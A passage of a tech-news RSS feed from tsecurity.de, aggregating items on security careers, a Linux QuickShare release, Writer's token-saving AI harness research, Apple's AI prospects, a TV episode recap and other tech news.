<title><![CDATA[Security Contracting]]></title>
<description><![CDATA[I've recently been looking to move into the security field such as Maritime security, UHNWI Security or even residential. Im still currently serving and working on aligning my training with whats required for those specific jobs or in other words the more experience the better. My question is wha...]]></description>
<link>https://tsecurity.de/de/3682533/it-security-nachrichten/security-contracting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682533/it-security-nachrichten/security-contracting/</guid>
<pubDate>Tue, 21 Jul 2026 04:08:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've recently been looking to move into the security field such as Maritime security, UHNWI Security or even residential. Im still currently serving and working on aligning my training with whats required for those specific jobs or in other words the more experience the better. My question is what's a good starter to jump into to get things rolling, should I be looking to join a security firm or simply applying for contractor jobs i see and what are some training/Experience I should have to have the best opportunity of getting a well paying job. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Blood_moonxX"> /u/Blood_moonxX </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1v0s9jw/security_contracting/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1v0s9jw/security_contracting/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[[OC] QuickShare / Nearby for Linux v0.5 Released]]></title>
<description><![CDATA[Hi all! A couple of months back I shared my development in bringing QuickShare to linux. There were a multitude of issues with the past implementation but this time, we are nearly feature complete with android. No companion apps needed. Works with any android device OOTB https://github.com/kidfro...]]></description>
<link>https://tsecurity.de/de/3682522/linux-tipps/oc-quickshare-nearby-for-linux-v05-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682522/linux-tipps/oc-quickshare-nearby-for-linux-v05-released/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:27 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi all!</p> <p>A couple of months back I shared my development in bringing QuickShare to linux. There were a multitude of issues with the past implementation but this time, we are nearly feature complete with android. No companion apps needed. Works with any android device OOTB</p> <p><a href="https://github.com/kidfromjupiter/nearby">https://github.com/kidfromjupiter/nearby</a><br> ( Don't forget to give it a start if you find this cool and want to support me. I like fake internet points ; ) )</p> <p><strong>Major Improvements:</strong></p> <ul> <li>AppImage for easier distribution / installation</li> <li>No companion app</li> <li>Revamped cohesive UI</li> <li>Expanded compatibility to more distros</li> </ul> <p>It is as reliable as QuickShare can be ( well yk how it is. I can't <em>really</em> help it. I don't control the protocol ) and almost as fast as android to android sharing ( there are issues with 5ghz hotspots with some intel wifi cards so I've disabled it for now ).</p> <p>It supports sharing with</p> <ul> <li>BLE</li> <li>Bluetooth classic</li> <li>Wifi Hotspot</li> <li>WIFI LAN</li> <li>webrtc ( coming soon ? )</li> </ul> <p><strong>NOTE</strong>: If you're using this, interference with bluetooth devices while turned on is a known bug. I'm working on a fix. So launch the app only when you plan to send/recv</p> <p><strong>NOTE NOTE : THERE BE BUGS. This is still beta software. Some weirdness regarding wifi-hotspot is there, and also double broadcasting. Please feel free to open an issue. I'll be happy to help :)</strong></p> <p>Thanks : )</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Striking-Storm-6092"> /u/Striking-Storm-6092 </a> <br> <span><a href="https://i.redd.it/zdwlzufvrceh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1gj3r/oc_quickshare_nearby_for_linux_v05_released/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Announces Five New Windows 11 Insider Builds]]></title>
<description><![CDATA[The improvements just keep on coming: There are five new Windows Insider Preview builds today across multiple channels but no major new features.
The post Microsoft Announces Five New Windows 11 Insider Builds appeared first on Thurrott.com.]]></description>
<link>https://tsecurity.de/de/3682352/windows-tipps/microsoft-announces-five-new-windows-11-insider-builds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682352/windows-tipps/microsoft-announces-five-new-windows-11-insider-builds/</guid>
<pubDate>Tue, 21 Jul 2026 01:10:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The improvements just keep on coming: There are five new Windows Insider Preview builds today across multiple channels but no major new features.</p>
<p>The post <a href="https://www.thurrott.com/windows/windows-11/339206/microsoft-announces-five-new-windows-11-insider-builds">Microsoft Announces Five New Windows 11 Insider Builds</a> appeared first on <a href="https://www.thurrott.com/">Thurrott.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android Device Backups See Major Changes]]></title>
<description><![CDATA[A couple of major changes are coming to the way your Android phone processes/stores backups. Within the next 45 days or so, Google is going to start counting your Android device backups toward your Google Account storage limit, but they are also giving you more controls over what’s backed up. Goo...]]></description>
<link>https://tsecurity.de/de/3682129/it-nachrichten/android-device-backups-see-major-changes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682129/it-nachrichten/android-device-backups-see-major-changes/</guid>
<pubDate>Mon, 20 Jul 2026 22:47:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A couple of major changes are coming to the way your Android phone processes/stores backups. Within the next 45 days or so, Google is going to start counting your Android device backups toward your Google Account storage limit, but they are also giving you more controls over what’s backed up. Google made the announcement over...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/20/android-device-backups-see-major-changes/">Android Device Backups See Major Changes</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is moving another Outlook feature behind a Copilot paywall]]></title>
<description><![CDATA[Microsoft is retiring Outlook's free Meeting Insight feature in the coming months. Its replacement, "Prepare for this meeting," requires a paid Microsoft 365 Copilot license.]]></description>
<link>https://tsecurity.de/de/3681794/windows-tipps/microsoft-is-moving-another-outlook-feature-behind-a-copilot-paywall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681794/windows-tipps/microsoft-is-moving-another-outlook-feature-behind-a-copilot-paywall/</guid>
<pubDate>Mon, 20 Jul 2026 19:06:57 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is retiring Outlook's free Meeting Insight feature in the coming months. Its replacement, "Prepare for this meeting," requires a paid Microsoft 365 Copilot license.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to po...]]></description>
<link>https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power.



Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5.




Episode title: Unbowed and Unbent



Release date: July 19, 2026



Streaming platform: HBO Max



Genre: Fantasy drama




The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly.



Alicent and Helaena Try to Escape the Red Keep



The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing.



Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys.



She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back.



Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them.



Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule.



Aemond Finds Comfort With Alys Rivers







At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true.



Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons.



Criston Cole Prepares for His Final Battle



Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation.



His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus.



Who Killed Rhaenyra’s Gold Cloaks?



The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.”



Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within.



House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital.



What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Mon, 20 Jul 2026 15:33:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['The SaaS apocalypse is overrated': How Workday and other software providers plan to survive AI]]></title>
<description><![CDATA[Experts warn that an extinction event is coming for SaaS, thanks to AI disintermediation. Here's why some vendors remain skeptical.]]></description>
<link>https://tsecurity.de/de/3681105/it-nachrichten/the-saas-apocalypse-is-overrated-how-workday-and-other-software-providers-plan-to-survive-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681105/it-nachrichten/the-saas-apocalypse-is-overrated-how-workday-and-other-software-providers-plan-to-survive-ai/</guid>
<pubDate>Mon, 20 Jul 2026 14:32:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Experts warn that an extinction event is coming for SaaS, thanks to AI disintermediation. Here's why some vendors remain skeptical.]]></content:encoded>
</item>
<item>
<title><![CDATA[StrictlyVC returns to New York City September 10 to celebrate a huge year for the city’s startup community ]]></title>
<description><![CDATA[For the first time since 2024, StrictlyVC is coming back to New York City — and we're bringing the kind of access you’d expect from an under-wraps event to the whole startup, VC, and dealmaking community.]]></description>
<link>https://tsecurity.de/de/3681099/it-nachrichten/strictlyvc-returns-to-new-yorkcityseptember-10to-celebrate-a-huge-year-for-the-citys-startup-community/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681099/it-nachrichten/strictlyvc-returns-to-new-yorkcityseptember-10to-celebrate-a-huge-year-for-the-citys-startup-community/</guid>
<pubDate>Mon, 20 Jul 2026 14:32:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For the first time since 2024, StrictlyVC is coming back to New York City — and we're bringing the kind of access you’d expect from an under-wraps event to the whole startup, VC, and dealmaking community.]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</guid>
<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



